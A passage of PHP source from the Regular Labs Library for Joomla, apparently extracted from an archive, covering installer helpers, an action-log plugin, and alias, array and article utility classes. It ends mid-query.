$folders[] = JPATH_SITE . '/components/com_' . $extname;
break;
case 'module':
$folders[] = JPATH_ADMINISTRATOR . '/modules/mod_' .
$extname;
$folders[] = JPATH_SITE . '/modules/mod_' . $extname;
break;
}
if ( ! $this->foldersExist($folders))
{
return;
}
$query = $this->db->getQuery(true)
->select($this->db->quoteName('extension_id'))
->from('#__extensions')
->where($this->db->quoteName('element') . ' =
' . $this->db->quote($this->getElementName($type, $extname)))
->where($this->db->quoteName('type') . ' =
' . $this->db->quote($type));
if ($type == 'plugin')
{
$query->where($this->db->quoteName('folder') . '
= ' . $this->db->quote($folder));
}
$this->db->setQuery($query);
$ids = $this->db->loadColumn();
if (empty($ids))
{
foreach ($folders as $folder)
{
JFactory::getApplication()->enqueueMessage('2. Deleting: '
. $folder, 'notice');
JFolder::delete($folder);
}
return;
}
$ignore_ids =
JFactory::getApplication()->getUserState('rl_ignore_uninstall_ids',
[]);
if (JFactory::getApplication()->input->get('option') ==
'com_installer' &&
JFactory::getApplication()->input->get('task') ==
'remove')
{
// Don't attempt to uninstall extensions that are already selected
to get uninstalled by them selves
$ignore_ids = array_merge($ignore_ids,
JFactory::getApplication()->input->get('cid', [],
'array'));
JFactory::getApplication()->input->set('cid',
array_merge($ignore_ids, $ids));
}
$ids = array_diff($ids, $ignore_ids);
if (empty($ids))
{
return;
}
$ignore_ids = array_merge($ignore_ids, $ids);
JFactory::getApplication()->setUserState('rl_ignore_uninstall_ids',
$ignore_ids);
foreach ($ids as $id)
{
$tmpInstaller = new JInstaller;
$tmpInstaller->uninstall($type, $id);
}
if ($show_message)
{
JFactory::getApplication()->enqueueMessage(
JText::sprintf(
'COM_INSTALLER_UNINSTALL_SUCCESS',
JText::_('COM_INSTALLER_TYPE_TYPE_' . strtoupper($type))
), 'success'
);
}
}
public function foldersExist($folders = [])
{
foreach ($folders as $folder)
{
if (is_dir($folder))
{
return true;
}
}
return false;
}
public function uninstallPlugin($extname, $folder = 'system',
$show_message = true)
{
$this->uninstallExtension($extname, 'plugin', $folder,
$show_message);
}
public function uninstallComponent($extname, $show_message = true)
{
$this->uninstallExtension($extname, 'component', null,
$show_message);
}
public function uninstallModule($extname, $show_message = true)
{
$this->uninstallExtension($extname, 'module', null,
$show_message);
}
public function publishExtension()
{
switch ($this->extension_type)
{
case 'plugin' :
$this->publishPlugin();
case 'module' :
$this->publishModule();
}
}
public function publishPlugin()
{
$query = $this->db->getQuery(true)
->update('#__extensions')
->set($this->db->quoteName('enabled') . ' =
1')
->where($this->db->quoteName('type') . ' =
' . $this->db->quote('plugin'))
->where($this->db->quoteName('element') . ' =
' . $this->db->quote($this->extname))
->where($this->db->quoteName('folder') . ' =
' . $this->db->quote($this->plugin_folder));
$this->db->setQuery($query);
$this->db->execute();
}
public function publishModule()
{
// Get module id
$query = $this->db->getQuery(true)
->select($this->db->quoteName('id'))
->from('#__modules')
->where($this->db->quoteName('module') . ' =
' . $this->db->quote('mod_' . $this->extname))
->where($this->db->quoteName('client_id') . ' =
' . (int) $this->client_id);
$this->db->setQuery($query, 0, 1);
$id = $this->db->loadResult();
if ( ! $id)
{
return;
}
// check if module is already in the modules_menu table (meaning is is
already saved)
$query->clear()
->select($this->db->quoteName('moduleid'))
->from('#__modules_menu')
->where($this->db->quoteName('moduleid') . ' =
' . (int) $id)
->setLimit(1);
$this->db->setQuery($query);
$exists = $this->db->loadResult();
if ($exists)
{
return;
}
// Get highest ordering number in position
$query->clear()
->select($this->db->quoteName('ordering'))
->from('#__modules')
->where($this->db->quoteName('position') . ' =
' . $this->db->quote($this->module_position))
->where($this->db->quoteName('client_id') . ' =
' . (int) $this->client_id)
->order('ordering DESC');
$this->db->setQuery($query, 0, 1);
$ordering = $this->db->loadResult();
$ordering++;
// publish module and set ordering number
$query->clear()
->update('#__modules')
->set($this->db->quoteName('published') . ' =
1')
->set($this->db->quoteName('ordering') . ' =
' . (int) $ordering)
->set($this->db->quoteName('position') . ' =
' . $this->db->quote($this->module_position))
->where($this->db->quoteName('id') . ' = '
. (int) $id);
$this->db->setQuery($query);
$this->db->execute();
// add module to the modules_menu table
$query->clear()
->insert('#__modules_menu')
->columns([$this->db->quoteName('moduleid'),
$this->db->quoteName('menuid')])
->values((int) $id . ', 0');
$this->db->setQuery($query);
$this->db->execute();
}
public function addInstalledMessage()
{
JFactory::getApplication()->enqueueMessage(
JText::sprintf(
$this->install_type == 'update' ?
'RLI_THE_EXTENSION_HAS_BEEN_UPDATED_SUCCESSFULLY' :
'RLI_THE_EXTENSION_HAS_BEEN_INSTALLED_SUCCESSFULLY',
'<strong>' . JText::_($this->name) .
'</strong>',
'<strong>' . $this->getVersion() .
'</strong>',
$this->getFullType()
), 'success'
);
}
public function getPrefix()
{
switch ($this->extension_type)
{
case 'plugin':
return JText::_('plg_' .
strtolower($this->plugin_folder));
case 'component':
return JText::_('com');
case 'module':
return JText::_('mod');
case 'library':
return JText::_('lib');
default:
return $this->extension_type;
}
}
public function getElementName($type = null, $extname = null)
{
$type = is_null($type) ? $this->extension_type : $type;
$extname = is_null($extname) ? $this->extname : $extname;
switch ($type)
{
case 'component' :
return 'com_' . $extname;
case 'module' :
return 'mod_' . $extname;
case 'plugin' :
default:
return $extname;
}
}
public function getFullType()
{
return JText::_('RLI_' . strtoupper($this->getPrefix()));
}
public function getVersion($file = '')
{
$file = $file ?: $this->getCurrentXMLFile();
if ( ! is_file($file))
{
return '';
}
$xml = JInstaller::parseXMLInstallFile($file);
if ( ! $xml || ! isset($xml['version']))
{
return '';
}
return $xml['version'];
}
public function isNewer()
{
if ( ! $this->installed_version)
{
return true;
}
$package_version = $this->getVersion();
return version_compare($this->installed_version, $package_version,
'<=');
}
public function canInstall()
{
// The extension is not installed yet
if ( ! $this->installed_version)
{
return true;
}
// The free version is installed. So any version is ok to install
if (strpos($this->installed_version, 'PRO') === false)
{
return true;
}
// Current package is a pro version, so all good
if (strpos($this->getVersion(), 'PRO') !== false)
{
return true;
}
JFactory::getLanguage()->load($this->getPrefix() . '_' .
$this->extname, __DIR__);
JFactory::getApplication()->enqueueMessage(JText::_('RLI_ERROR_PRO_TO_FREE'),
'error');
JFactory::getApplication()->enqueueMessage(
html_entity_decode(
JText::sprintf(
'RLI_ERROR_UNINSTALL_FIRST',
'<a href="https://www.regularlabs.com/extensions/' .
$this->alias . '" target="_blank">',
'</a>',
JText::_($this->name)
)
), 'error'
);
return false;
}
/*
* Fixes incorrectly formed versions because of issues in old packager
*/
public function fixFileVersions($file)
{
if (is_array($file))
{
foreach ($file as $f)
{
self::fixFileVersions($f);
}
return;
}
if ( ! is_string($file) || ! is_file($file))
{
return;
}
$contents = file_get_contents($file);
if (
strpos($contents, 'FREEFREE') === false
&& strpos($contents, 'FREEPRO') === false
&& strpos($contents, 'PROFREE') === false
&& strpos($contents, 'PROPRO') === false
)
{
return;
}
$contents = str_replace(
['FREEFREE', 'FREEPRO', 'PROFREE',
'PROPRO'],
['FREE', 'PRO', 'FREE', 'PRO'],
$contents
);
JFile::write($file, $contents);
}
public function onBeforeInstall($route)
{
if ( ! $this->canInstall())
{
return false;
}
return true;
}
public function onAfterInstall($route)
{
return true;
}
public function delete($files = [])
{
foreach ($files as $file)
{
if (is_dir($file))
{
JFolder::delete($file);
}
if (is_file($file))
{
JFile::delete($file);
}
}
}
public function fixAssetsRules()
{
$query = $this->db->getQuery(true)
->select($this->db->quoteName('rules'))
->from('#__assets')
->where($this->db->quoteName('title') . ' =
' . $this->db->quote('com_' . $this->extname))
->setLimit(1);
$this->db->setQuery($query);
$rules = $this->db->loadResult();
$rules = json_decode($rules);
if (empty($rules))
{
return;
}
foreach ($rules as $key => $value)
{
if ( ! empty($value))
{
continue;
}
unset($rules->$key);
}
$rules = json_encode($rules);
$query = $this->db->getQuery(true)
->update($this->db->quoteName('#__assets'))
->set($this->db->quoteName('rules') . ' = '
. $this->db->quote($rules))
->where($this->db->quoteName('title') . ' =
' . $this->db->quote('com_' . $this->extname));
$this->db->setQuery($query);
$this->db->execute();
}
private function fixExtensionNames()
{
switch ($this->extension_type)
{
case 'module' :
$this->fixModuleNames();
}
}
private function fixModuleNames()
{
// Get module id
$query = $this->db->getQuery(true)
->select($this->db->quoteName('id'))
->from('#__modules')
->where($this->db->quoteName('module') . ' =
' . $this->db->quote('mod_' . $this->extname))
->where($this->db->quoteName('client_id') . ' =
' . (int) $this->client_id);
$this->db->setQuery($query, 0, 1);
$module_id = $this->db->loadResult();
if (empty($module_id))
{
return;
}
$title = 'Regular Labs - ' . JText::_($this->name);
$query->clear()
->update('#__modules')
->set($this->db->quoteName('title') . ' = '
. $this->db->quote($title))
->where($this->db->quoteName('id') . ' = '
. (int) $module_id)
->where($this->db->quoteName('title') . ' LIKE
' . $this->db->quote('NoNumber%'));
$this->db->setQuery($query);
$this->db->execute();
// Fix module assets
// Get asset id
$query = $this->db->getQuery(true)
->select($this->db->quoteName('id'))
->from('#__assets')
->where($this->db->quoteName('name') . ' =
' . $this->db->quote('com_modules.module.' . (int)
$module_id))
->where($this->db->quoteName('title') . ' LIKE
' . $this->db->quote('NoNumber%'))
->setLimit(1);
$this->db->setQuery($query);
$asset_id = $this->db->loadResult();
if (empty($asset_id))
{
return;
}
$query->clear()
->update('#__assets')
->set($this->db->quoteName('title') . ' = '
. $this->db->quote($title))
->where($this->db->quoteName('id') . ' = '
. (int) $asset_id);
$this->db->setQuery($query);
$this->db->execute();
}
private function updateUpdateSites()
{
$this->removeOldUpdateSites();
$this->updateNamesInUpdateSites();
$this->updateHttptoHttpsInUpdateSites();
$this->removeDuplicateUpdateSite();
$this->updateDownloadKey();
}
private function removeOldUpdateSites()
{
$query = $this->db->getQuery(true)
->select($this->db->quoteName('update_site_id'))
->from('#__update_sites')
->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('nonumber.nl%'))
->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('%e=' . $this->alias .
'%'));
$this->db->setQuery($query, 0, 1);
$id = $this->db->loadResult();
if ( ! $id)
{
return;
}
$query->clear()
->delete('#__update_sites')
->where($this->db->quoteName('update_site_id') .
' = ' . (int) $id);
$this->db->setQuery($query);
$this->db->execute();
$query->clear()
->delete('#__update_sites_extensions')
->where($this->db->quoteName('update_site_id') .
' = ' . (int) $id);
$this->db->setQuery($query);
$this->db->execute();
}
private function updateNamesInUpdateSites()
{
$name = JText::_($this->name);
if ($this->alias != 'extensionmanager')
{
$name = 'Regular Labs - ' . $name;
}
$query = $this->db->getQuery(true)
->update('#__update_sites')
->set($this->db->quoteName('name') . ' = '
. $this->db->quote($name))
->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('%download.regularlabs.com%'))
->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('%e=' . $this->alias .
'%'));
$this->db->setQuery($query);
$this->db->execute();
}
private function updateHttptoHttpsInUpdateSites()
{
$query = $this->db->getQuery(true)
->update('#__update_sites')
->set($this->db->quoteName('location') . ' =
REPLACE('
. $this->db->quoteName('location') . ', '
. $this->db->quote('http://') . ', '
. $this->db->quote('https://')
. ')')
->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('http://download.regularlabs.com%'));
$this->db->setQuery($query);
$this->db->execute();
}
private function removeDuplicateUpdateSite()
{
// First check to see if there is a pro entry
$query = $this->db->getQuery(true)
->select($this->db->quoteName('update_site_id'))
->from('#__update_sites')
->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('%download.regularlabs.com%'))
->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('%e=' . $this->alias .
'%'))
->where($this->db->quoteName('location') . ' NOT
LIKE ' . $this->db->quote('%pro=1%'))
->setLimit(1);
$this->db->setQuery($query);
$id = $this->db->loadResult();
// Otherwise just get the first match
if ( ! $id)
{
$query->clear()
->select($this->db->quoteName('update_site_id'))
->from('#__update_sites')
->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('%download.regularlabs.com%'))
->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('%e=' . $this->alias .
'%'));
$this->db->setQuery($query, 0, 1);
$id = $this->db->loadResult();
// Remove pro=1 from the found update site
$query->clear()
->update('#__update_sites')
->set($this->db->quoteName('location')
. ' = replace(' .
$this->db->quoteName('location') . ', ' .
$this->db->quote('&pro=1') . ', ' .
$this->db->quote('') . ')')
->where($this->db->quoteName('update_site_id') .
' = ' . (int) $id);
$this->db->setQuery($query);
$this->db->execute();
}
if ( ! $id)
{
return;
}
$query->clear()
->select($this->db->quoteName('update_site_id'))
->from('#__update_sites')
->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('%download.regularlabs.com%'))
->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('%e=' . $this->alias .
'%'))
->where($this->db->quoteName('update_site_id') .
' != ' . $id);
$this->db->setQuery($query);
$ids = $this->db->loadColumn();
if (empty($ids))
{
return;
}
$query->clear()
->delete('#__update_sites')
->where($this->db->quoteName('update_site_id') .
' IN (' . implode(',', $ids) . ')');
$this->db->setQuery($query);
$this->db->execute();
$query->clear()
->delete('#__update_sites_extensions')
->where($this->db->quoteName('update_site_id') .
' IN (' . implode(',', $ids) . ')');
$this->db->setQuery($query);
$this->db->execute();
}
// Save the download key from the Regular Labs Extension Manager config to
the update sites
private function updateDownloadKey()
{
$query = $this->db->getQuery(true)
->select($this->db->quoteName('params'))
->from('#__extensions')
->where($this->db->quoteName('element') . ' =
' . $this->db->quote('com_regularlabsmanager'));
$this->db->setQuery($query);
$params = $this->db->loadResult();
if ( ! $params)
{
return;
}
$params = json_decode($params);
if ( ! isset($params->key))
{
return;
}
// Add the key on all regularlabs.com urls
$query->clear()
->update('#__update_sites')
->set($this->db->quoteName('extra_query') . ' =
' . $this->db->quote('k=' . $params->key))
->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('%download.regularlabs.com%'));
$this->db->setQuery($query);
$this->db->execute();
}
private function removeAdminCache()
{
$this->delete([JPATH_ADMINISTRATOR . '/cache/regularlabs']);
$this->delete([JPATH_ADMINISTRATOR . '/cache/nonumber']);
}
private function removeGlobalLanguageFiles()
{
if ($this->extension_type == 'library')
{
return;
}
$language_files = JFolder::files(JPATH_ADMINISTRATOR .
'/language', '\.' . $this->getPrefix() .
'_' . $this->extname . '\.', true, true);
// Remove override files
foreach ($language_files as $i => $language_file)
{
if (strpos($language_file, '/overrides/') === false)
{
continue;
}
unset($language_files[$i]);
}
if (empty($language_files))
{
return;
}
JFile::delete($language_files);
}
private function removeUnusedLanguageFiles()
{
if ($this->extension_type == 'library')
{
return;
}
if ( ! is_file(__DIR__ . '/language'))
{
return;
}
$installed_languages = array_merge(
is_file(JPATH_SITE . '/language') ?
JFolder::folders(JPATH_SITE . '/language') : [],
is_file(JPATH_ADMINISTRATOR . '/language') ?
JFolder::folders(JPATH_ADMINISTRATOR . '/language') : []
);
$languages = array_diff(
JFolder::folders(__DIR__ . '/language') ?: [],
$installed_languages
);
$delete_languages = [];
foreach ($languages as $language)
{
$delete_languages[] = $this->getMainFolder() . '/language/'
. $language;
}
if (empty($delete_languages))
{
return;
}
// Remove folders
$this->delete($delete_languages);
}
}
script.install.php000064400000001511151167425550010237 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
if ( ! class_exists('RegularLabsInstallerScript'))
{
require_once __DIR__ . '/script.install.helper.php';
class RegularLabsInstallerScript extends RegularLabsInstallerScriptHelper
{
public $name = 'Regular Labs Library';
public $alias = 'regularlabs';
public $extension_type = 'library';
public function onBeforeInstall($route)
{
if ( ! $this->isNewer())
{
$this->softbreak = true;
return false;
}
return true;
}
}
}
src/ActionLogPlugin.php000064400000014055151167425550011122
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\Text as JText;
use Joomla\CMS\Plugin\CMSPlugin as JPlugin;
/**
* Class ActionLogPlugin
* @package RegularLabs\Library
*/
class ActionLogPlugin
extends JPlugin
{
public $name = '';
public $alias = '';
public $option = '';
public $items = [];
public $table = null;
public $events = [];
static $ids = [];
public function __construct(&$subject, array $config = [])
{
parent::__construct($subject, $config);
Language::load('plg_actionlog_' . $this->alias);
$config =
Parameters::getInstance()->getComponentParams($this->alias);
$enable_actionlog = isset($config->enable_actionlog) ?
$config->enable_actionlog : true;
$this->events = $enable_actionlog ? ['*'] : [];
if ($enable_actionlog && ! empty($config->actionlog_events))
{
$this->events = ArrayHelper::toArray($config->actionlog_events);
}
$this->name = JText::_($this->name);
$this->option = $this->option ?: 'com_' .
$this->alias;
}
public function onContentAfterSave($context, $table, $isNew)
{
if (strpos($context, $this->option) === false)
{
return;
}
$event = $isNew ? 'create' : 'update';
if ( ! ArrayHelper::find(['*', $event], $this->events))
{
return;
}
$item = $this->getItem($context);
$title = isset($table->title) ? $table->title :
(isset($table->name) ? $table->name : $table->id);
$item_url = str_replace('{id}', $table->id, $item->url);
$message = [
'type' => $item->title,
'id' => $table->id,
'title' => $title,
'itemlink' => $item_url,
];
Log::save($message, $context, $isNew);
}
public function onContentAfterDelete($context, $table)
{
if (strpos($context, $this->option) === false)
{
return;
}
if ( ! ArrayHelper::find(['*', 'delete'],
$this->events))
{
return;
}
$item = $this->getItem($context);
$title = isset($table->title) ? $table->title :
(isset($table->name) ? $table->name : $table->id);
$message = [
'type' => $item->title,
'id' => $table->id,
'title' => $title,
];
Log::delete($message, $context);
}
public function onContentChangeState($context, $ids, $value)
{
if (strpos($context, $this->option) === false)
{
return;
}
if ( ! ArrayHelper::find(['*', 'change_state'],
$this->events))
{
return;
}
$item = $this->getItem($context);
if ( ! $this->table)
{
if ( ! is_file($item->file))
{
return;
}
require_once $item->file;
$this->table = (new $item->model)->getTable();
}
foreach ($ids as $id)
{
$this->table->load($id);
$title = isset($this->table->title) ? $this->table->title
: (isset($this->table->name) ? $this->table->name :
$this->table->id);
$itemlink = str_replace('{id}', $this->table->id,
$item->url);
$message = [
'type' => $item->title,
'id' => $id,
'title' => $title,
'itemlink' => $itemlink,
];
Log::changeState($message, $context, $value);
}
}
public function onExtensionAfterSave($context, $table, $isNew)
{
self::onContentAfterSave($context, $table, $isNew);
}
public function onExtensionAfterDelete($context, $table)
{
self::onContentAfterDelete($context, $table);
}
public function onExtensionAfterInstall($installer, $eid)
{
// Prevent duplicate logs
if (in_array('install_' . $eid, self::$ids))
{
return;
}
$context =
JFactory::getApplication()->input->get('option');
if (strpos($context, $this->option) === false)
{
return;
}
if ( ! ArrayHelper::find(['*', 'install'],
$this->events))
{
return;
}
$extension = Extension::getById($eid);
if (empty($extension->manifest_cache))
{
return;
}
$manifest = json_decode($extension->manifest_cache);
if (empty($manifest->name))
{
return;
}
self::$ids[] = 'install_' . $eid;
$message = [
'id' => $eid,
'extension_name' => JText::_($manifest->name),
];
Log::install($message, 'com_regularlabsmanager',
$manifest->type);
}
public function onExtensionAfterUninstall($installer, $eid, $result)
{
// Prevent duplicate logs
if (in_array('uninstall_' . $eid, self::$ids))
{
return;
}
$context =
JFactory::getApplication()->input->get('option');
if (strpos($context, $this->option) === false)
{
return;
}
if ( ! ArrayHelper::find(['*', 'uninstall'],
$this->events))
{
return;
}
if ($result === false)
{
return;
}
$manifest = $installer->get('manifest');
if ($manifest === null)
{
return;
}
self::$ids[] = 'uninstall_' . $eid;
$message = [
'id' => $eid,
'extension_name' => JText::_($manifest->name),
];
Log::uninstall($message, 'com_regularlabsmanager',
$manifest->attributes()->type);
}
private function getItem($context)
{
$item = $this->getItemData($context);
$item->title = isset($item->title)
? JText::_($item->title)
: $this->type . ' ' . JText::_('RL_ITEM');
if ( ! isset($item->file))
{
$item->file = JPATH_ADMINISTRATOR . '/components/' .
$this->option . '/models/' . $item->type .
'.php';
}
if ( ! isset($item->model))
{
$item->model = $this->alias . 'Model' .
ucfirst($item->type);
}
if ( ! isset($item->url))
{
$item->url = 'index.php?option=' . $this->option .
'&view=' . $item->type .
'&layout=edit&id={id}';
}
return $item;
}
private function getItemData($context)
{
$default = (object) [
'type' => 'item',
];
$type = key($this->items) ?: 'item';
if (strpos($context, '.') !== false)
{
$parts = explode('.', $context);
$type = $parts[1];
}
if ( ! isset($this->items[$type]))
{
return $default;
}
$item = $this->items[$type];
if ( ! isset($item->type))
{
$item->type = $type;
}
return $item;
}
}
src/Alias.php000064400000006014151167425550007111 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Application\ApplicationHelper as JApplicationHelper;
use Joomla\CMS\Factory as JFactory;
/**
* Class Alias
* @package RegularLabs\Library
*/
class Alias
{
/**
* Creates an alias from a string
*
* @param string $string
*
* @return string
*/
public static function get($string = '', $unicode = false)
{
if (empty($string))
{
return '';
}
$string = StringHelper::removeHtml($string);
if ($unicode || JFactory::getConfig()->get('unicodeslugs')
== 1)
{
return self::stringURLUnicodeSlug($string);
}
// Remove < > html entities
$string = str_replace(['<', '>'],
'', $string);
// Convert html entities
$string = StringHelper::html_entity_decoder($string);
return JApplicationHelper::stringURLSafe($string);
}
/**
* Creates a unicode alias from a string
* Based on stringURLUnicodeSlug method from the unicode slug plugin by
infograf768
*
* @param string $string
*
* @return string
*/
private static function stringURLUnicodeSlug($string = '')
{
if (empty($string))
{
return '';
}
// Remove < > html entities
$string = str_replace(['<', '>'],
'', $string);
// Convert html entities
$string = StringHelper::html_entity_decoder($string);
// Convert to lowercase
$string = StringHelper::strtolower($string);
// remove html tags
$string = RegEx::replace('</?[a-z][^>]*>',
'', $string);
// remove comments tags
$string = RegEx::replace('<\!--.*?-->', '',
$string);
// Replace weird whitespace characters like (Â) with spaces
//$string = str_replace(array(chr(160), chr(194)), ' ',
$string);
$string = str_replace("\xC2\xA0", ' ', $string);
$string = str_replace("\xE2\x80\xA8", ' ', $string);
// ascii only
// Replace double byte whitespaces by single byte (East Asian languages)
$string = str_replace("\xE3\x80\x80", ' ', $string);
// Remove any '-' from the string as they will be used as
concatenator.
// Would be great to let the spaces in but only Firefox is friendly with
this
$string = str_replace('-', ' ', $string);
// Replace forbidden characters by whitespaces
$string = RegEx::replace('[' .
RegEx::quote(',:#$*"@+=;&.%()[]{}/\'\\|') .
']', "\x20", $string);
// Delete all characters that should not take up any space, like: ?
$string = RegEx::replace('[' . RegEx::quote('?!¿¡')
. ']', '', $string);
// Trim white spaces at beginning and end of alias and make lowercase
$string = trim($string);
// Remove any duplicate whitespace and replace whitespaces by hyphens
$string = RegEx::replace('\x20+', '-', $string);
// Remove leading and trailing hyphens
$string = trim($string, '-');
return $string;
}
}
src/Api/ConditionInterface.php000064400000001040151167425550012332
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Api;
defined('_JEXEC') or die;
/**
* Interface ConditionConditionInterface
* @package RegularLabs\Library\Api
*/
interface ConditionInterface
{
public function pass();
}
src/ArrayHelper.php000064400000010404151167425550010274 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
/**
* Class ArrayHelper
* @package RegularLabs\Library
*/
class ArrayHelper
{
/**
* Convert data (string or object) to an array
*
* @param mixed $data
* @param string $separator
* @param bool $unique
*
* @return array
*/
public static function toArray($data, $separator = ',', $unique
= false, $trim = true)
{
if (is_array($data))
{
return $data;
}
if (is_object($data))
{
return (array) $data;
}
if ($data === '' || is_null($data))
{
return [];
}
if ($separator === '')
{
return [$data];
}
// explode on separator, but keep escaped separators
$splitter = uniqid('RL_SPLIT');
$data = str_replace($separator, $splitter, $data);
$data = str_replace('\\' . $splitter, $separator, $data);
$array = explode($splitter, $data);
if ($trim)
{
$array = self::trim($array);
}
if ($unique)
{
$array = array_unique($array);
}
return $array;
}
/**
* Join array elements with a string
*
* @param string $glue
* @param array $pieces
*
* @return array
*/
public static function implode($pieces, $glue = '')
{
if ( ! is_array($pieces))
{
$pieces = self::toArray($pieces, $glue);
}
return implode($glue, $pieces);
}
/**
* Clean array by trimming values and removing empty/false values
*
* @param array $array
*
* @return array
*/
public static function clean($array)
{
if ( ! is_array($array))
{
return $array;
}
$array = self::trim($array);
$array = self::unique($array);
$array = self::removeEmpty($array);
return $array;
}
/**
* Removes empty values from the array
*
* @param array $array
*
* @return array
*/
public static function removeEmpty($array)
{
if ( ! is_array($array))
{
return $array;
}
foreach ($array as $key => &$value)
{
if ($key && ! is_numeric($key))
{
continue;
}
if ($value !== '')
{
continue;
}
unset($array[$key]);
}
return $array;
}
/**
* Removes duplicate values from the array
*
* @param array $array
*
* @return array
*/
public static function unique($array)
{
if ( ! is_array($array))
{
return $array;
}
$values = [];
foreach ($array as $key => $value)
{
if ( ! is_numeric($key))
{
continue;
}
if ( ! in_array($value, $values))
{
$values[] = $value;
continue;
}
unset($array[$key]);
}
return $array;
}
/**
* Clean array by trimming values
*
* @param array $array
*
* @return array
*/
public static function trim($array)
{
if ( ! is_array($array))
{
return $array;
}
foreach ($array as &$value)
{
if ( ! is_string($value))
{
continue;
}
$value = trim($value);
}
return $array;
}
/**
* Check if any of the given values is found in the array
*
* @param array $needles
* @param array $haystack
*
* @return boolean
*/
public static function find($needles, $haystack)
{
if ( ! is_array($haystack) || empty($haystack))
{
return false;
}
$needles = self::toArray($needles);
foreach ($needles as $value)
{
if (in_array($value, $haystack))
{
return true;
}
}
return false;
}
/**
* Sorts the array by keys based on the values of another array
*
* @param array $array
* @param array $order
*
* @return array
*/
public static function sortByOtherArray($array, $order)
{
uksort($array, function ($key1, $key2) use ($order) {
return (array_search($key1, $order) > array_search($key2, $order));
});
return $array;
}
/**
* Flatten an array of nested arrays, keeping the order
*
* @param array $array
*
* @return array
*/
public static function flatten($array)
{
$flattened = [];
foreach ($array as $nested)
{
if ( ! is_array($nested))
{
$flattened[] = $nested;
continue;
}
$flattened = array_merge($flattened, self::flatten($nested));
}
return $flattened;
}
}
src/Article.php000064400000022026151167425550007444 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\Registry\Registry;
jimport('joomla.filesystem.file');
/**
* Class Article
* @package RegularLabs\Library
*/
class Article
{
static $articles = [];
/**
* Method to get article data.
*
* @param integer $id The id, alias or title of the article.
* @param boolean $get_unpublished Whether to also return the article if
it is not published
* @param array $selects Option array of stuff to select. Note:
requires correct table alias prefixes
*
* @return object|boolean Menu item data object on success, boolean false
*/
public static function get($id = null, $get_unpublished = false, $selects
= [])
{
$id = ! empty($id) ? $id : (int) self::getId();
$cache_id = md5(json_encode([$id, $get_unpublished, $selects]));
if (isset(self::$articles[$cache_id]))
{
return self::$articles[$cache_id];
}
$db = JFactory::getDbo();
$user = JFactory::getUser();
$custom_selects = ! empty($selects);
$query = $db->getQuery(true)
->select($custom_selects ? $selects :
[
'a.id', 'a.asset_id', 'a.title',
'a.alias', 'a.introtext', 'a.fulltext',
'a.state', 'a.catid', 'a.created',
'a.created_by', 'a.created_by_alias',
// Use created if modified is 0
'CASE WHEN a.modified = ' .
$db->quote($db->getNullDate()) . ' THEN a.created ELSE
a.modified END as modified',
'a.modified_by', 'a.checked_out',
'a.checked_out_time', 'a.publish_up',
'a.publish_down',
'a.images', 'a.urls', 'a.attribs',
'a.version', 'a.ordering',
'a.metakey', 'a.metadesc', 'a.access',
'a.hits', 'a.metadata', 'a.featured',
'a.language', 'a.xreference',
]
)
->from($db->quoteName('#__content', 'a'));
if ( ! is_numeric($id))
{
$query->where('(' .
$db->quoteName('a.title') . ' = ' .
$db->quote($id)
. ' OR ' .
$db->quoteName('a.alias') . ' = ' .
$db->quote($id)
. ')');
}
else
{
$query->where($db->quoteName('a.id') . ' = ' .
(int) $id);
}
// Join on category table.
if ( ! $custom_selects)
{
$query->select([
$db->quoteName('c.title', 'category_title'),
$db->quoteName('c.alias', 'category_alias'),
$db->quoteName('c.access', 'category_access'),
$db->quoteName('c.lft', 'category_lft'),
$db->quoteName('c.lft', 'category_ordering'),
]);
}
$query->innerJoin($db->quoteName('#__categories',
'c') . ' ON ' . $db->quoteName('c.id') .
' = ' . $db->quoteName('a.catid'))
->where($db->quoteName('c.published') . ' >
0');
// Join on user table.
if ( ! $custom_selects)
{
$query->select($db->quoteName('u.name',
'author'));
}
$query->join('LEFT', $db->quoteName('#__users',
